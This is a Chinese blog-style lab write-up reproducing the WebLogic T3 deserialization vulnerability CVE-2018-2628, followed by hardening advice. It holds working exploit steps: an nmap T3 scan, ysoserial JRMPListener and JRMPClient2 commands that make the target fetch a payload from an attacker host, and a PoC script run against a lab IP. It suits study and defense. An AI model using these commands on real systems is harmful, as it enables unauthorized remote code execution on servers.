Weblogic T3反序列化漏洞(CVE-2018-2628)

【漏洞编号】

CVE-2018-2628

【漏洞描述】

         CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。

【漏洞级别】

        高危

【漏洞复现】

A. 搭建实验环境

CVE-2018-2628漏洞利用工具包(工具包)

JDK版本:jdk1.7.0_21

Weblogic版本:10.3.6.0

Ubuntu主机(Java JDK版本1.7以上)和Windows10主机(Python版本2.X)

注:这里完全可以在Ubuntu主机上完成所有实验,为了更好的理解原理把攻击机换成了Windows10。

B. 实验过程

        目标主机地址192.168.10.129,首先探测主机开放的端口及服务。使用nmap对目标主机进行端口扫描。

使用命令:

nmap -n -v -p7001,7002 192.168.10.129 --script=weblogic-t3-info

        针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第1张图片
发现7001端口开启T3协议


         使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.10.129:7001.在windows主机打开命令行运行CVE-2018-2628-MultiThreading.py开始检测,可以看到检测结果为漏洞存在。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第2张图片
使用检测工具检测

        确定目标主机存在Weblogic T3反序列化漏洞后,在Ubuntu主机上运行JRMPListener开启端口监听。使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序。在Ubuntu主机上运行ysoserial-0.1-cve-2018-2628-all.jar。

命令执行的格式:

java -cp ysoserial-\-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener\  \ \

参考样例:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

        上面是我的Ubuntu主机上执行的命令,在Ubuntu主机上监听一个端口,这样目的主机上的Weblogic进行远程方法调用时,可以连接到Ubuntu主机。是执行的命令,windows服务器的话运行calc.exe是打开计算器程序。如果是Linux服务器可直接执行控制台命令。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第3张图片
Ubuntu主机执行ysoserial-0.1-cve-2018-2628-all.jar

        当看到 *Opening JRMP listener on 22801 输出时,说明运行成功并且端口22801开启处于监听状态。此时要记录下ubuntu主机的ip地址为192.168.10.50。

        在Ubuntu主机上新打开一个终端,同样使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用Ubuntu主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录Ubuntu主机的信息。

命令执行的格式:

java -jar ysoserial-\-cve-2018-2628-all.jar JRMPClient2 \:\ | xxd -p | tr -d $'\n' && echo

参考样例:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.10.50:22801 | xxd -p | tr -d $'\n' && echo

Weblogic T3反序列化漏洞(CVE-2018-2628)_第4张图片
生成payload

        将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第5张图片
修改PAYLOAD

        更改文件末尾的dip变量的值为目标服务器(Weblogic所在服务器)的ip地址192.168.10.129。当然端口也可以自定义。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第6张图片
修改dip

        在Win10主机上执行weblogic_poc.py开始漏洞利用。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第7张图片
执行漏洞利用工具weblogic_poc.py  

        另一边观察Ubuntu主机发现触发漏洞后,目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第8张图片
Ubuntu主机返回payload    

        当目标服务器远程调用后将执行Ubuntu主机返回的payload,打开计算器程序。实现远程任意代码的执行。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第9张图片
漏洞利用成功,打开了计算器程序

        从后面的Weblogic运行情况也可以看到执行了远程代码。

【漏洞加固】

        T3协议漏洞加固的话可以打上官方最新的补丁,既然官方已经发布说明这个利用方法最新的补丁已经补住了:-)怀疑。

        手动加固的话可以直接过滤掉t3协议,粗暴有效。当然可以加个白名单给指定的几台主机不影响使用。

具体如下:

(a)进入WebLogic控制台,点击域进行域配置。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第10张图片
域配置

(b)在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

Weblogic T3反序列化漏洞(CVE-2018-2628)_第11张图片
添加过滤器

(c)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中

        输入:ip * * allow t3 (ip为允许的ip)

                    0.0.0.0/0 * *deny t3 t3s

    配置成功后直接保存就好了,再用漏洞检测工具检测就显示不存在漏洞了。

注:本文所有内容均为作者整理和制作而成,为个人笔记。转载请注明出处。

总有一天要改成原创而成,广告位预留,不租~

你可能感兴趣的:(Weblogic T3反序列化漏洞(CVE-2018-2628))